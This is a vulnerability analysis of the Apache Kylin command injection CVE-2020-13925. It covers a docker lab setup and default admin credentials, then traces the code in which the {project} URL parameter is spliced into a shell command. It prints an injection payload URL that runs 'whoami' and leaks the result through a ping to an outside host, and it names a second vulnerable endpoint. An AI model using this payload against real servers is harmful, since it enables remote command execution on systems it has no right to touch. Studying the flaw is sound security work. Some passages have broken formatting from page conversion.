Post

Apache Kylin DiagnosisController.java command injection vulnerability CVE-2020-13925

Apache Kylin DiagnosisController.java command injection vulnerability CVE-2020-13925

Apache Kylin DiagnosisController.java Command Injection Vulnerability CVE-2020-13925

Vulnerability Description

In June, JD Security’s Blue Army team discovered a serious vulnerability to execute aapache kylin remote command (CVE-2020-13925).

Affect Version

Apache Kylin 2.3.0 ~ 2.3.2 Apache Kylin 2.4.0 ~ 2.4.1 Apache Kylin 2.5.0 ~ 2.5.2 Apache Kylin 2.6.0 ~ 2.6.5 Apache Kylin 3.0.0-alpha</a-checkbox>

Environment construction

</a-alert>

1
2
3
4
5
6
7
8
9
10
11
docker pull apachekylin/apache-kylin-standalone:3.0.1

docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1

After opening, log in with the default account password admin/KYLIN. The initial interface appears. Success

img

Vulnerability reappears

The vulnerable code file is in server-base/src/main/java/org/apache/kylin/rest/controller/DiagnosisController.java

img

```java {4} /** * Get diagnosis information for project */ @RequestMapping(value = “/project/{project}/download”, method = { RequestMethod.GET }, produces = { “application/json” }) @ResponseBody public void dumpProjectDiagnosisInfo(@PathVariable String project, final HttpServletRequest request, final HttpServletResponse response) { try (AutoDeleteDirectory diagDir = new AutoDeleteDirectory(“diag_project”, “”)) { String filePath = dgService.dumpProjectDiagnosisInfo(project, diagDir.getFile()); setDownloadResponse(filePath, response); } catch (IOException e) { throw new InternalErrorException(“Failed to dump project diagnosis info. “ + e.getMessage(), e); }

1
} ```

Here you can see that the {project} parameter is a user-controllable variable. Follow up on the dumpProjectDiagnosisInfo function downwards

```java {1} public String dumpProjectDiagnosisInfo(String project, File exportPath) throws IOException { aclEvaluate.checkProjectOperationPermission(project); String[] args = { project, exportPath.getAbsolutePath() }; runDiagnosisCLI(args); return getDiagnosisPackageName(exportPath); }

1
2
3
4
5
6
7
8
9
10
![img](https://raw.githubusercontent.com/PeiQi0/PeiQi-WIKI-Book/refs/heads/main/docs/.vuepress/../.vuepress/public/img/kylin-19.png)

First, check whether the project is allowed through the `checkProjectOperationPermission` function, and then build an array of strings of `args`. Take a look at the `checkProjectOperationPermission` function

```java {2}
public void checkProjectOperationPermission(String projectName) {
       ProjectInstance projectInstance = getProjectInstance(projectName);
       aclUtil.hasProjectOperationPermission(projectInstance);
   }

Here you pass projectName, and then use getProjectInstance to get the project instance, follow up on getProjectInstance

```java {1} private ProjectInstance getProjectInstance(String projectName) { return ProjectManager.getInstance(KylinConfig.getInstanceFromEnv()).getProject(projectName); }

1
2
3
4
5
6
7
8
9
10
11
Because `projectName` will be replaced by us, we will not get a correct `projectName`, and a Null will be returned. Check the `hasProjectOperationPermission` function

```java {5}
@PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN +
            " or hasPermission(#project, 'ADMINISTRATION')" +
            " or hasPermission(#project, 'MANAGEMENT')" +
            " or hasPermission(#project, 'OPERATION')")
    public boolean hasProjectOperationPermission(ProjectInstance project) {
        return true;
    }

There is no projectName check here, only the user identity is checked. When the permissions such as ADMIN, ADMINISTRATION, MANAGEMENT, OPERATION are allowed, the value is returned to true by default, and return to the dumpProjectDiagnosisInfo function, and continue to follow up on the runDiagnosisCLI function downward

img

```java {14-16} private void runDiagnosisCLI(String[] args) throws IOException { Message msg = MsgPicker.getMsg();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    File cwd = new File("");
    logger.debug("Current path: " + cwd.getAbsolutePath());

    logger.debug("DiagnosisInfoCLI args: " + Arrays.toString(args));
    File script = new File(KylinConfig.getKylinHome() + File.separator + "bin", "diag.sh");
    if (!script.exists()) {
        throw new BadRequestException(
                String.format(Locale.ROOT, msg.getDIAG_NOT_FOUND(), script.getAbsolutePath()));
    }

    String diagCmd = script.getAbsolutePath() + " " + StringUtils.join(args, " ");
    CliCommandExecutor executor = KylinConfig.getInstanceFromEnv().getCliCommandExecutor();
    Pair<Integer, String> cmdOutput = executor.execute(diagCmd);

    if (cmdOutput.getFirst() != 0) {
        throw new BadRequestException(msg.getGENERATE_DIAG_PACKAGE_FAIL());
    }
} ```

Pay attention to these lines of code

```java {3} String diagCmd = script.getAbsolutePath() + “ “ + StringUtils.join(args, “ “); CliCommandExecutor executor = KylinConfig.getInstanceFromEnv().getCliCommandExecutor(); Pair<Integer, String> cmdOutput = executor.execute(diagCmd);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
Similar to the Apache Kylin command injection vulnerability `CVE-2020-1956`, it also passes through the `execute function`, and `digCmd` also passes through the command splicing.

```java {29-31}
private Pair<Integer, String> runRemoteCommand(String command, Logger logAppender) throws IOException {
        SSHClient ssh = new SSHClient(remoteHost, port, remoteUser, remotePwd);

        SSHClientOutput sshOutput;
        try {
            sshOutput = ssh.execCommand(command, remoteTimeoutSeconds, logAppender);
            int exitCode = sshOutput.getExitCode();
            String output = sshOutput.getText();
            return Pair.newPair(exitCode, output);
        } catch (IOException e) {
            throw e;
        } catch (Exception e) {
            throw new IOException(e.getMessage(), e);
        }
    }

    private Pair<Integer, String> runNativeCommand(String command, Logger logAppender) throws IOException {
        String[] cmd = new String[3];
        String osName = System.getProperty("os.name");
        if (osName.startsWith("Windows")) {
            cmd[0] = "cmd.exe";
            cmd[1] = "/C";
        } else {
            cmd[0] = "/bin/bash";
            cmd[1] = "-c";
        }
        cmd[2] = command;

        ProcessBuilder builder = new ProcessBuilder(cmd);
        builder.redirectErrorStream(true);
        Process proc = builder.start();

        BufferedReader reader = new BufferedReader(
                new InputStreamReader(proc.getInputStream(), StandardCharsets.UTF_8));
        String line;
        StringBuilder result = new StringBuilder();
        while ((line = reader.readLine()) != null && !Thread.currentThread().isInterrupted()) {
            result.append(line).append('\n');
            if (logAppender != null) {
                logAppender.log(line);
            }
        }

        if (Thread.interrupted()) {
            logger.info("CliCommandExecutor is interruppted by other, kill the sub process: " + command);
            proc.destroy();
            try {
                Thread.sleep(1000);
            } catch (InterruptedException e) {
                // do nothing
            }
            return Pair.newPair(1, "Killed");
        }

        try {
            int exitCode = proc.waitFor();
            return Pair.newPair(exitCode, result.toString());
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            throw new IOException(e);
        }
    }

}

This way we can cause command injection by controlling the {project} request

1
2
/kylin/api/diag/project/{project}/download
/kylin/api/diag/project/||ping `whoami.111.111.111`||/download

After splicing, it appears

1
/home/admin/apache-kylin-3.0.1-bin-hbase1x/bin/diag.sh {project} {diagDir}

Here, the error statement can be used to echo the command to verify that the vulnerability exists.

1
throw new InternalErrorException("Failed to dump project diagnosis info. " + e.getMessage(), e);

img

During the fix, symbols such as ||, && were filtered, causing the command to be injected

img

Two exploit points of the CCP

1
2
/kylin/api/diag/project/{project}/download  
/kylin/api/diag/job/{jobId}/download

Looking at the function, it is found that the utilization method is the same. Using job directly will fail because {project} has a learn_kylin by default, while job does not

img

This post is licensed under CC BY 4.0 by the author.